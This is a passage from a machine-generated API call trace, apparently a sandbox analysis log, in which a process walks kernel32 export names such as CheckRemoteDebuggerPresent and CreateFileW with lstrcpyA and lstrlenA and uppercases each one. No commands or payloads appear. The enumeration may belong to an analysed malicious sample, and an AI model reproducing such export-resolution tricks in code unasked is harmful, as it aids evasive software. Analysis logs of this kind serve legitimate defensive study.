lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.005] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.005] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.005] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.005] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.005] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.005] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.005] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.005] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.005] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.005] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.005] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.005] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.005] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.005] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.005] lstrlenA (lpString="BEEP") returned 4 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.005] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.005] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.005] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.006] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.006] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.006] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.006] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.006] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.006] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.006] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.006] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.006] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.006] lstrlenA (lpString="CANCELIO") returned 8 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.006] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.006] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.006] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.006] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.006] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.006] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.006] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.006] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.006] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.007] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.007] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.007] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.007] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.007] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.007] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.007] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.007] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.007] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.007] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.007] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.007] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.007] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.007] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.007] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.007] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.007] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.007] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.007] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.008] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.008] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.008] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.008] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.008] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.008] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.024] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.024] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.024] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.024] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.024] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.024] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.024] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.024] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.025] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.025] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.025] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.025] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.025] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.025] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.025] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.025] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.025] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.025] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.025] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.025] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.025] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.025] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.025] lstrlenA (lpString="COPYFILE2") returned 9 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.025] lstrlenA (lpString="COPYFILEA") returned 9 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.025] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.025] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.025] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.025] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.025] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.026] lstrlenA (lpString="COPYFILEW") returned 9 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.026] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.026] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.026] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.026] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.026] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.026] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.026] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.026] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.026] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.026] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.026] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.026] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.026] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.026] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.026] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.026] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.026] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.026] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.026] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.026] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.027] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.027] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.027] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.027] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.027] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.027] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.027] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.027] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.027] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.027] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.027] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.027] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.027] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.027] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.027] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.027] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.027] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.027] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.027] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.027] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.027] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.028] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.028] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 